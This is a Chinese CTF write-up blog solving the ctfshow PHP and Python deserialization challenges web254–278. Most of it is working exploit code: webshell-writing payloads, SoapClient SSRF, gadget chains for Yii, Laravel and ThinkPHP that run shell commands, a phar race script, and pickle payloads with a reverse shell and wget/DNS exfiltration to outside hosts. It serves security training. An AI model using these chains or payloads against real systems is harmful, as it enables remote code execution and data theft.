ctfshow web入门之反序列化

web254

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

没有魔术方法 跟反序列无关 看懂就行

get传参 ?username=xxxxxx&password=xxxxxx 即可

web255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// 255
error_reporting(0);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;

}

$a= new ctfShowUser;
echo urlencode(serialize($a));

?>
//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

get传参?username=xxxxxx&password=xxxxxx

cookie 传 user为

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// 255
error_reporting(0);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxx';
public $isVip=true;

}

$a= new ctfShowUser;
echo urlencode(serialize($a));

?>

将255改成不相等就行

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
error_reporting(0);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class ctfShowUser{
private $class = 'info';

public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}
echo urlencode(serialize(new ctfShowUser()));
?>
1
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A16%3A%22eval%28%24_POST%5B1%5D%29%3B%22%3B%7D%7D

get同样传参 再命令执行即可

web258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
error_reporting(0);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

这题多了一个正则 为的是防止传入反序列化的字符串

将O后面的数字前加个加号就可以绕过了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("cat f*");';
}
$b=serialize(new ctfShowUser());

$b=str_replace('O:11', 'O:+11', $b);
$b=str_replace('O:8', 'O:+8', $b);
//echo $b;
echo urlencode($b);
?>

web259

1
2
3
4
5
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

当遇到反序列化问题的时,代码中一个类都没有,便对原生类进行反序列化。

这题要利用到php的原生类SoapClient

php5, 7 都存在这个类

这里利用 $vip->getFlag(); 调用SoapClient的__call方法 调用因为

exp:

1
2
3
4
5
6
7
8
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

然后传 给vip参数 访问 flag.txt即可

参:https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

web260

1
2
3
4
5
6
7
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

get传参 ctfshow=ctfshow_i_love_36D 即可

web261

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

有一个小trick 当同时存在 __unserialize__wakeup方法时

反序列化时会自动跳过 __wakeup方法

__destruct()方法中的 判断是弱类型比较 只要荣code变量为 877的字符串就行了

exp

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class ctfshowvip{
public $username;
public $password;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);

web262

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

发现 message.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

看到条件是需要 token=admin才行 需要字符逃逸

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);

get传参

1
f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

进入message.php

增加 cookie msg 为 base64后的payload

web263

www.zip 发现源码

看到利用点

在这里插入图片描述

因为前面的条件永远为假 所以我们可以通过控制 cookie进行 session 的反序列

发现重要利用的函数和类

在这里插入图片描述

check.php

在这里插入图片描述

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
$x =new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
$xx =serialize($x);
echo '|'.$xx;
$SESSION['limit']='|'.$xx;
?>

先访问index.php开启session会话,修改cookie[limit]为exp生成的字符串,再访问check.php(或者/inc/inc.php 只要让session再次进行session_start,反序列化写进去的session内容即可)写入文件,最后访问log-b.php

这里可能会有一个小疑问,为什么在解析session文件时直接对'|'后的值进行反序列化处理,这也是处理器的功能?这个其实是因为session_start()这个函数

在这里插入图片描述

web264

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
session_start();

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

测试的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$x= new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$xx= str_replace('fuck', 'Loveu', serialize($x));
echo $xx;

传参:

1
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

再进去message.php随便传一个 cookie[‘msg’]=1 就行了

web265

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}

重点就在 $this->token===$this->password;

考察php按地址传参

1
2
3
4
5
$a='123';
$b=&$a;
$b=1;
echo $a;
1234

大家可以试下这段代码,会发现a的值会跟着b一起改变。所以我们只需要让token按地址传给passowrd就可以了

exp:

1
2
3
4
5
6
7
8
<?php
class ctfshowAdmin{
public $token=1;
public $password=1;
}
$a = new ctfshowAdmin();
$a->password=&$a->token;
echo urlencode(serialize($a));

web266

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

可以看到我们类名 是ctfshow 然而有个正则 preg_match('/ctfshow/', $cs)

如果我们传入的字符存在ctfshow就会反序列化失败 无法调用__destruct()

但是正则没有 /i的选项 所以我们使用大写CTFSHOW绕过

exp:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class ctfshow{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;

}
}
$a = new ctfshow('ctfshow','ctfshow');
echo serialize($a);

将ctfshow改成 大写就行 只能用burp才能传过去得到flag hackbar过不去 我也不知道为啥。。。

web267

yii反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//?r=backdoor/shell&code=poc

//poc
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'cp /flag /var/www/html/basic/web/1.txt';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));

//最后访问1.txt

这里system被过滤了 建议使用 shell_exec

获得相对路径

1
2
$this->checkAccess = 'shell_exec';
$this->id = "wget `pwd|base64`.0bhj1u.dnslog.cn";

然后也可以直接写shell 进去

1
2
$this->checkAccess = 'shell_exec';
$this->id = "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php";

$符号要转义 phpinfo();要加上 否则会报错

web268

上一题的链子用不了了

用下面的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt');
echo(base64_encode(serialize($exp)));
}

web269

用 268的poc

web270

用 268的poc

web271

laravel5.7反序列化漏洞

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;

public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}

namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}


namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;

public function __construct($bind){
$this->bindings=$bind;
}
}
}

namespace{
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('cat /flag'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}
?>

web272 273

laravelv5.8反序列化漏洞

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;

public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>");
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
?>

273 尝试使用外带写入

<?php setcookie('pwd',shell_exec('pwd'));?>

获得相对路径之后

<?php file_put_contents('/xxx/xx/xxx.php','<?php eval(\$_POST[1]);?>)');

web274

thinkphp 5.1反序列化漏洞

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

用法

1
?lin=cat /f*&data=

web275

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class filter{
public $filename;
public $filecontent;
public $evilfile=false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

发现没有反序列化的点

发现__destruct当对象被销毁时调用,所以我们不需要用到反序列化函数。那么只要$this->evilfile是true就可以执行系统命令了。最后在拼接一下命令
payload

1
2
?fn=;cat f*
data: flag=1

web276

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

不会 。。。看看师傅的

在上个题的基础上增了了 判断$this->admin所以真的需要我们去通过反序列化修改admin的值了。因为题目中没有反序列化函数,所以需要通过其他方式。
因为题目中有写文件的函数,所以可以通过file_put_contents写phar文件,然后再通过file_put_contents触发phar反序列化。当然我们得在删除文件前执行完这两个操作,所以需要用到条件竞争。

生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class filter{
public $filename = "1|cat f*";
public $filecontent;
public $evilfile = true;
public $admin = true;
}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import threading
import base64
url = 'http://b1238473-a3bb-431f-a39e-3cd285bcb95e.chall.ctf.show/'

f = open('./phar.phar', 'rb')

data = f.read()
flag = False

def work1():
requests.post(url+"?fn=a.phar", data=data)
def work2():
global flag
r = requests.post(url+"?fn=phar://phar.phar/", data="")
if "ctfshow{" in r.text and flag is False:
print(base64.b64encode(r.text.encode()))
flag = True

while flag is False:
a = threading.Thread(target=work1)
b = threading.Thread(target=work2)
a.start()
b.start()

没跑出来 不知道为啥……

web277 278

看到源码:

1
where is flag?<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->

看到 pickle.loads

这题肯定是python反序列化了

poc

1
2
3
4
5
6
7
8
import pickle
import base64
class A(object):
def __reduce__(self):
return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4567 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))

有点坑哈 特意问了问群主 这题目里没nc了。。。。。

用下面的这种外带吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import os
import base64

class CTFshow():
def sw(self):
print(self.show)
def __init__(self,show):
self.show = show
def __reduce__(self):
return (eval,("__import__('os').popen('wget http://requestbin.net/r/1wl2ukps?a=`cat fla*`').read()",))
cs = CTFshow("https://ctf.show")
ctfshow_ser = pickle.dumps(cs)
print(base64.b64encode(ctfshow_ser))
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~